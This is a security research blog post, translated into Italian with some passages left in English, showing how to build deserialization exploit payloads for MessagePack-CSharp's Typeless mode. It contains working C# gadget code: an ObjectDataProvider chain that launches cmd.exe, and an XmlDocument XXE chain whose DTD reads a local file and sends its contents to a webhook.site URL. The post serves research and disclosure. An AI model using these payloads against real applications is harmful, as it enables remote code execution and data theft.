Magic Quadrant™ per la gestione degli accessi privilegiati 2025: Netwrix riconosciuta per il quarto anno consecutivo. Scarica il report.

Piattaforma
Centro risorseBlog
Generazione di payload di deserializzazione per la modalità senza tipo di MessagePack C#

Generazione di payload di deserializzazione per la modalità senza tipo di MessagePack C#

Apr 10, 2023

La modalità senza tipo di MessagePack-CSharp consente la serializzazione polimorfica incorporando informazioni complete sul tipo, inclusi i campi privati, il che la rende potente ma non sicura per dati non affidabili. Poiché la deserializzazione si basa sulla riflessione e sui setter di proprietà automatici, gli attaccanti possono creare payload che attivano l'esecuzione di codice o attacchi XXE abusando di catene di gadget note. Anche con le opzioni di sicurezza rinforzate di MessagePack abilitate, la modalità senza tipo rimane fondamentalmente insicura e non dovrebbe mai essere utilizzata con input non affidabili.

MessagePack-CSharp è una libreria di serializzazione ad alte prestazioni che semplifica il processo di serializzazione e deserializzazione di oggetti complessi. Molti sviluppatori .NET preferiscono MessagePack perché è più veloce e produce un output più piccolo rispetto ad altri formati di serializzazione come XML o JSON.

MessagePack-CSharp offers a feature called Typeless mode, which enables dynamic, polymorphic serialization and deserialization of objects without prior knowledge of their types. This capability is particularly beneficial in situations where the object’s type is only known at runtime, allowing developers to serialize and deserialize objects without the need to decorate classes with attributes. Typeless mode is capable of serializing almost any type, including public and private properties and fields.

Con la deprecazione di BinaryFormatter, gli sviluppatori potrebbero cercare alternative come la modalità senza tipo di MessagePack, poiché fornisce funzionalità simili.

La documentazione di MessagePack sconsiglia di utilizzare la modalità senza tipo con dati non affidabili, poiché ciò potrebbe portare a problemi di sicurezza. Questo articolo illustra questi problemi mostrando come creare payload di sfruttamento della deserializzazione per la modalità senza tipo di MessagePack.

Serializzando un oggetto utilizzando la Modalità Senza Tipo

      namespace SomeLibrary
{
    public class SomeClass
    {
        private string _privateField;
        public string PublicProperty { get; set; }
        public string PrivateProperty { get; private set; }
        public void SetPrivateProperty(string pPrivateProperty) 
            => PrivateProperty = pPrivateProperty;
        public void SetPrivateField(string pPrivateField) 
            => _privateField = pPrivateField;
    }
}

namespace MessagePackTypelessDemo
{
    class Program
    {
        static void Main()
        {
            var obj = new SomeLibrary.SomeClass { PublicProperty = "ABCDEFG" };
            obj.SetPrivateProperty("HIJKLMNOP");
            obj.SetPrivateField("QRSTUVWXYZ");

            System.IO.File.WriteAllBytes(
                "serialized.bin", 
                MessagePack.MessagePackSerializer.Typeless.Serialize(obj));
        }
    }
}
      

È importante notare che i dati serializzati includono valori di proprietà e campo privati, così come l'AssemblyQualifiedName (AQN) di SomeClass. Durante la deserializzazione, MessagePack farà riferimento a queste informazioni di tipo per garantire che questo tipo di oggetto esatto venga costruito e popolato correttamente.

Image

Figura 1. Vista esadecimale dei dati serializzati senza tipo di MessagePack

Durante la deserializzazione, MessagePack sfrutta la riflessione per invocare un costruttore predefinito che non richiede parametri. Se non è presente un costruttore predefinito, la deserializzazione fallirà. Inoltre, viene utilizzata la riflessione per chiamare i setter delle proprietà e assegnare valori ai campi.

Implicazioni di sicurezza della deserializzazione di dati non attendibili

La documentazione di MessagePack affronta le implicazioni di sicurezza associate alla deserializzazione di dati non affidabili. La sezione consiglia specificamente di non utilizzare la modalità senza tipo con dati non affidabili, poiché potrebbe comportare la deserializzazione di tipi imprevisti, che possono portare a vulnerabilità di sicurezza.

Il MessagePackSerializerOptions classe consente agli sviluppatori di configurare comportamenti specifici durante la serializzazione e la deserializzazione, come l'uso della compressione Lz4 e la gestione delle versioni dell'assembly. La classe definisce anche un elenco di tipi pericolosi noti che MessagePack non deserializzerà. Se uno di questi tipi è presente nei dati serializzati, verrà generata un'eccezione e la deserializzazione verrà interrotta. Questo elenco contiene attualmente due tipi:

  • Collezione di file temporanei di System.CodeDom.Compiler
  • System.Management.IWbemClassObjectFreeThreaded

Opzioni di serializzazione MessagePack può essere configurato anche per utilizzare una modalità più sicura, mirata a gestire dati non affidabili, che introduce una profondità massima del grafo degli oggetti e un algoritmo di hashing resistente alle collisioni. La documentazione afferma che questa modalità indurisce semplicemente contro attacchi comuni e non è completamente sicura.

      MessagePackSerializerOptions options = 
    TypelessContractlessStandardResolver.Options
        .WithAllowAssemblyVersionMismatch(true)
        .WithSecurity(MessagePackSecurity.UntrustedData);

return MessagePackSerializer.Typeless.Deserialize<object>(serializedBytes, options);
      

Nonostante le limitazioni imposte, creare un payload di gadget serializzato che utilizza invocazioni di setter di proprietà per avviare azioni privilegiate, come l'esecuzione di codice, rimane fattibile durante la deserializzazione di dati non attendibili. Questo è realizzabile a condizione che il gadget non sia incluso nell'elenco dei tipi non consentiti.

Serializzare direttamente un tipo di gadget istanziato può essere problematico perché tutte le proprietà e i campi per il tipo verranno serializzati senza la possibilità di ignorarne alcuno. Deserializzare l'oggetto può comportare un oggetto mal configurato che può causare problemi durante l'istanza, potenzialmente causando il fallimento dello sfruttamento. Inoltre, con gadget basati su setter, i ricercatori potrebbero dover eseguire il payload direttamente durante la creazione dell'oggetto.

Per evitare questi problemi, un approccio migliore sarebbe creare un oggetto surrogato minimo e serializzarlo come il vero tipo di gadget. In questo modo, solo le proprietà e i campi necessari verranno impostati durante la deserializzazione, riducendo il rischio di comportamenti indesiderati.

Generazione di un payload ObjectDataProvider per l'esecuzione del codice

Il ObjectDataProvider gadget è un gadget di esecuzione di codice ampiamente conosciuto che appare in numerose catene di gadget. Questo articolo non dettagliarà le specifiche di come il ObjectDataProvider funzioni, poiché il documento di Alvaro Muñoz e Oleksandr Mirosh “Attacchi JSON del venerdì 13” fornisce una spiegazione completa del suo funzionamento.

In short, the ObjectDataProvider can be used to call Process.Start with user-specified arguments by configuring the MethodName and ObjectInstance properties, which when setting either property invokes the supplied method name on the supplied object instance. Specifically, the MethodName property should be set to “Start” and the ObjectInstance property should be set to an instance of System.Diagnostics.Process. The filename and arguments can then be set via properties contained in the System.Diagnostics.ProcessStartInfo object, which is available as the Process object’s StartInfo property.

Passo 1. Specificare i tipi di surrogato

I tipi surrogati devono contenere solo le proprietà minime per risultare nell'esecuzione del codice. Per il ObjectDataProvider gadget, il grafo degli oggetti deve conformarsi alla seguente specifica:

      public class ObjectDataProviderSurrogate
{
    public string MethodName { get; set; }
    public object ObjectInstance { get; set; }
}

public class ProcessStartInfoSurrogate
{
    public string FileName { get; set; }
    public string Arguments { get; set; }
}

public class ProcessSurrogate
{
    public ProcessStartInfoSurrogate StartInfo { get; set; }
}

      

Passo 2. Costruire l'oggetto ObjectDataProviderSurrogate

Per generare un payload che esegue “calc.exe”, prima costruiamo il ObjectDataProviderSurrogate oggetto, impostando le proprietà come richiesto per il reale ObjectDataProvider oggetto e utilizzando surrogate aggiuntive dove necessario.

      return new ObjectDataProviderSurrogate
{
    MethodName = "Start",
    ObjectInstance = new ProcessSurrogate
    {
        StartInfo = new ProcessStartInfoSurrogate
        {
            FileName = "cmd.exe",
            Arguments = "/c calc"
        }
    }
};

      

Passo 3. Modifica la cache del tipo

La modalità senza tipo di MessagePack non include funzionalità per serializzare un tipo come un altro. Mentre gli sviluppatori in precedenza potevano sovrascrivere il TypelessFormatter‘s BindToType delegato per raggiungere questo obiettivo, questa funzionalità è stata rimossa durante una significativa rifattorizzazione. Tuttavia, possiamo ancora sfruttare alcuni comportamenti interni di MessagePack per raggiungere questo obiettivo.

Il TypelessFormatter utilizza una cache interna per memorizzare informazioni di tipo per tipi precedentemente elaborati. Quando un tipo è presente nella cache, il formattatore salta il recupero dell'AQN per il tipo tramite la proprietà AssemblyQualifiedName e, invece, restituisce la stringa AQN memorizzata nella cache in forma di array di byte, che viene quindi incorporata nei dati serializzati per identificare il tipo serializzato.

      public void Serialize(
    ref MessagePackWriter writer,
    object? value,
    MessagePackSerializerOptions options)
{
    // [Truncated]

    Type type = value.GetType();

    var typeNameCache = options.OmitAssemblyVersion
                ? ShortenedTypeNameCache
                : FullTypeNameCache;

    if (!typeNameCache.TryGetValue(type, out byte[]? typeName))
    {
        TypeInfo ti = type.GetTypeInfo();
        if (ti.IsAnonymous() || UseBuiltinTypes.Contains(type))
        {
            typeName = null;
        }
        else
        {
            typeName = StringEncoding.UTF8.GetBytes(
                this.BuildTypeName(type, options));
        }

        typeNameCache.TryAdd(type, typeName);
    }

    // Use typeName...
}
      

Aggiungendo tipi e le loro corrispondenti stringhe AQN alla cache, ci assicuriamo che il serializzatore scriva le stringhe AQN specificate mentre elabora questi oggetti. Poiché la cache è privata, possiamo utilizzare la riflessione per accedere alla TryAdd metodo di questo campo.

      public static void SwapTypeCacheNames(IDictionary<Type, string> pNewTypeCacheEntries)
{
    FieldInfo typeNameCacheField = 
        typeof(TypelessFormatter)
            .GetField("FullTypeNameCache", BindingFlags.NonPublic | BindingFlags.Static);
    
    MethodInfo addTypeCacheMethod = 
        typeNameCacheField.FieldType
            .GetMethod("TryAdd", new[] { typeof(Type), typeof(byte[]) });

    object typeNameCache = typeNameCacheField.GetValue(TypelessFormatter.Instance);
    foreach (var typeSwap in pNewTypeCacheEntries)
    {
        addTypeCacheMethod.Invoke(
            typeNameCache,
            new object[]
            {
                typeSwap.Key,
                System.Text.Encoding.UTF8.GetBytes(typeSwap.Value)
            });
    }
}
      

We can now add our types to the TypelessFormatter‘s internal type cache, along with the corresponding type names of the real objects. Because the TypelessFormatter is static, any subsequent serialize calls will use this modified type cache.

      SwapTypeCacheNames(
    new Dictionary<Type, string>
    {
        {
            typeof(ObjectDataProviderSurrogate),
            "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
        },
        {
            typeof(ProcessSurrogate),
            "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        },
        {
            typeof(ProcessStartInfoSurrogate),
            "System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        }
    });

      

Passo 4. Serializzare e deserializzare il payload

Possiamo confermare che i dati serializzati contengono gli AQN necessari per il ObjectDataProvider catena di gadget, così come solo le proprietà e i valori essenziali che consentono l'esecuzione corretta del codice. Durante la deserializzazione, il payload attiverà Process.Start, avviando calc.exe.

Image

Figura 2. Vista esadecimale del payload del gadget ObjectDataProvider serializzato

Image

Figura 3. Sfruttamento riuscito durante la deserializzazione, avviando calc.exe

Questa funzionalità di generazione di payload è stata integrata anche nel progetto Ysoserial.NET per consentire ai ricercatori di generare payload senza tipo di MessagePack sia per dati standard che per dati compressi Lz4.

Image

Figura 4. Generazione di payload MessagePack senza tipo con Ysoserial.NET

Limitazioni

Nelle versioni di MessagePack-CSharp precedenti alla v2.3.75 (luglio 2021), non è possibile ottenere l'esecuzione del codice deserializzando un ObjectDataProvider payload. In queste versioni, i setter delle proprietà vengono chiamati per un oggetto anche se i loro valori non sono presenti nei dati serializzati.

The ObjectDataProvider extends the System.Windows.Data.DataSourceProvider class. This class contains the protected property Dispatcher, which in earlier versions of MessagePack will be set to null.

      protected Dispatcher Dispatcher
{
    get { return _dispatcher; }
    set
    {
        if (_dispatcher != value)
        {
            _dispatcher = value;
        }
    }
}
      

Come accennato in precedenza, impostare le proprietà ObjectInstance o MethodName specificate chiamerà un interno Aggiorna metodo che porta all'invocazione del nome del metodo specificato sull'istanza dell'oggetto, a condizione che entrambe le proprietà siano state impostate. Questo significa che per un'invocazione riuscita, il Aggiorna metodo deve essere chiamato due volte: una volta per l'impostazione di ciascuna proprietà.

At the end of each call to Refresh, a call is made to DataSourceProvider’s OnQueryFinished method, indicating that the query has finished. This method asserts that the Dispatcher property is not null.

      protected virtual void OnQueryFinished(object newData, Exception error
    DispatcherOperationCallback completionWork, object callbackArguments)
{
    Invariant.Assert(Dispatcher != null);
    if (Dispatcher.CheckAccess())
    {
        UpdateWithNewResult(error, newData, completionWork, callbackArguments);
    }
    else
    {
        Dispatcher.BeginInvoke(
            DispatcherPriority.Normal, UpdateWithNewResultCallback,
            new object[] 
            { 
                this, error, newData, completionWork, callbackArguments
            });
    }
}
      

Poiché Dispatcher è nullo a questo punto, Invariant.Assert fallirà, portando a una chiamata a Invariant.FailFast, che termina infine il processo. Poiché questo si verificherà alla prima chiamata a Refresh, l'esecuzione del codice non sarà possibile.

Generazione di un payload XmlDocument per l'exfiltrazione di file XXE

The XmlDocument class features the InnerXml string property that invokes XmlDocument‘s Load method with the supplied property value when set. For .NET versions below v4.5.2, this creates a potential vulnerability to XXE (XML External Entity) attacks, which can enable an attacker to exfiltrate files from the system to a remote location.

In .NET Framework versions v4.5.2 and later, the XmlResolver property of XmlDocument is set to null by default, which prevents the processing of XML entities. However, since MessagePack deserializes types with default constructors, it is possible to circumvent this protection by providing an XmlUrlResolver as the XmlResolver property. This creates a pathway for XXE scenarios in later versions from .NET Core through to .NET 7.

Passo 1. Specificare i tipi surrogati di XmlDocument

Specifichiamo le proprietà minime richieste per eseguire l'attacco XXE. Nota che la proprietà XmlResolver è di tipo System.Object, piuttosto che XmlUrlResolverSurrogate. Questo costringe MessagePack a includere l'AQN del tipo della proprietà XmlResolver, permettendoci di utilizzare il meccanismo di scambio dei tipi.

      public class XmlDocumentSurrogate
{
    public object XmlResolver { get; set; }
    public string InnerXml { get; set; }
}

public class XmlUrlResolverSurrogate
{
}

      

Passo 2. Costruire l'oggetto surrogato XmlDocument

Per esfiltrare un file durante la deserializzazione, dobbiamo prima preparare e ospitare un file DTD, che sarà referenziato dall'XML caricato fornito alla proprietà InnerXml. Possiamo utilizzare il servizio gratuito di incollaggio di testo Pastebin per ospitare il file DTD, poiché consente l'accesso a file raw.

Il DTD leggerà il contenuto del file “C:\test.txt” (questo esempio di prova di concetto contiene il testo “A1B2C3) e passerà il contenuto come parametro GET a un servizio web controllato da un attaccante. Per questo esempio utilizzeremo il gratuito Webhook.Site servizio per catturare richieste.

      <!ENTITY % a SYSTEM "file:///C:\\test.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'https://webhook.site/865d77fe-b03e-4833-a68b-4f94a0c0dde8?%a;'>">
%b;

      

L'XML che verrà caricato durante la deserializzazione farà riferimento a questo file DTD e invocherà l'espansione dell'entità che risulta nella richiesta GET.

      <?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "https://pastebin.com/raw/CUc6fZ8N">
<foo>&c;</foo>
      

La costruzione completa dell'oggetto surrogato è quindi semplicemente una questione di popolamento del XmlDocumentSurrogateproprietà InnerXml con l'XML sopra e impostare la proprietà XmlResolver sul nostro XmlUrlResolverSurrogate tipo.

      return new XmlDocumentSurrogate
{
    XmlResolver = new XmlUrlResolverSurrogate(),
    InnerXml = "<?xml version=\"1.0\"?>" +
    "<!DOCTYPE foo SYSTEM \"https://pastebin.com/raw/CUc6fZ8N\">" +
    "<foo>&c;</foo>"
};

      

Passo 3. Sostituisci le definizioni dei tipi

Utilizzando lo stesso approccio utilizzato per generare il ObjectDataProvider gadget, possiamo usare il SwapTypeCacheNames funzione per sostituire le informazioni sul tipo surrogato con le informazioni sul tipo per il reale XmlDocument gadget.

      SwapTypeCacheNames(
    new Dictionary<Type, string>
    {
        {
            typeof(XmlDocumentSurrogate),
            "System.Xml.XmlDocument, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        },
        {
            typeof(XmlUrlResolverSurrogate),
            "System.Xml.XmlUrlResolver, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        }
    });
      

Passo 4. Serializzare e deserializzare il payload

The serialized data for the XmlDocument gadget chain contains the correct AQNs, including the necessary AQN for XmlUrlResolver. Upon deserialization, the payload will trigger a request for the attacker-hosted DTD. The DTD will then be used to extract the contents of “C:\Test.txt”, passing the contents to the webhook as a GET parameter.

Image

Figura 5. Vista esadecimale del payload del gadget XmlDocument serializzato

Image

Figura 6. Serializzazione e deserializzazione del payload del gadget XmlDocument

Image

Figura 7. Esfiltrazione riuscita di file XXE durante la deserializzazione

Limitazioni

Le versioni di MessagePack-CSharp precedenti alla v2.3.75 (luglio 2021) impediscono l'esecuzione di un attacco XXE durante la deserializzazione di un XmlDocument payload di gadget a causa del bug menzionato in precedenza, chiamando i setter delle proprietà per un oggetto anche se non sono presenti nei dati serializzati.

Il bug causa XmlDocumentil setter della proprietà Value, ereditato da System.Xml.XmlNode, di essere invocato. Questo setter genera un'eccezione indipendentemente dal valore fornito, causando l'interruzione del processo di deserializzazione prima che possa verificarsi qualsiasi esfiltrazione di file.

      public virtual string Value
{
    get { return null; }
    set 
    { 
        throw new InvalidOperationException(
            string.Format(
                CultureInfo.InvariantCulture, 
                Res.GetString(Res.Xdom_Node_SetVal), NodeType.ToString())); 
    }
}
      

Questo articolo fornisce una panoramica di un metodo semplice per creare payload di sfruttamento della deserializzazione nella modalità senza tipo di MessagePack. Data la versatilità del serializzatore nel gestire non solo proprietà private ma anche campi privati, è probabile che esistano più gadget per questo serializzatore rispetto ai suoi omologhi più restrittivi.

La deserializzazione di dati non attendibili presenta un rischio di sicurezza significativo, specialmente quando si deserializzano dati che definiscono il tipo di oggetto incorporato. Gli sviluppatori dovrebbero evitare di utilizzare la funzione senza tipo di MessagePack per deserializzare dati non attendibili; anche con tutte le funzionalità di sicurezza abilitate, non è sicuro e non può essere reso sicuro.

Riconoscimenti

Un ringraziamento speciale a Piotr Bazydlo (@chudyPB) per aver offerto preziose intuizioni sulle limitazioni della deserializzazione delle catene di gadget ObjectDataProvider nelle versioni precedenti di MessagePack, che impediscono un'esploitazione riuscita.

FAQ

Condividi su

Scopri di più

Informazioni sull'autore

Asset Not Found

Dane Evans

Ingegnere della Sicurezza delle Applicazioni Senior

Come ingegnere della sicurezza delle applicazioni nel team di Ricerca sulla Sicurezza di Netwrix, Dane ha oltre un decennio di esperienza nella sicurezza delle applicazioni e nell'ingegneria del software. I principali interessi includono la sicurezza delle applicazioni, il ciclo di vita dello sviluppo software (SDLC), la ricerca di vulnerabilità e lo sviluppo di exploit.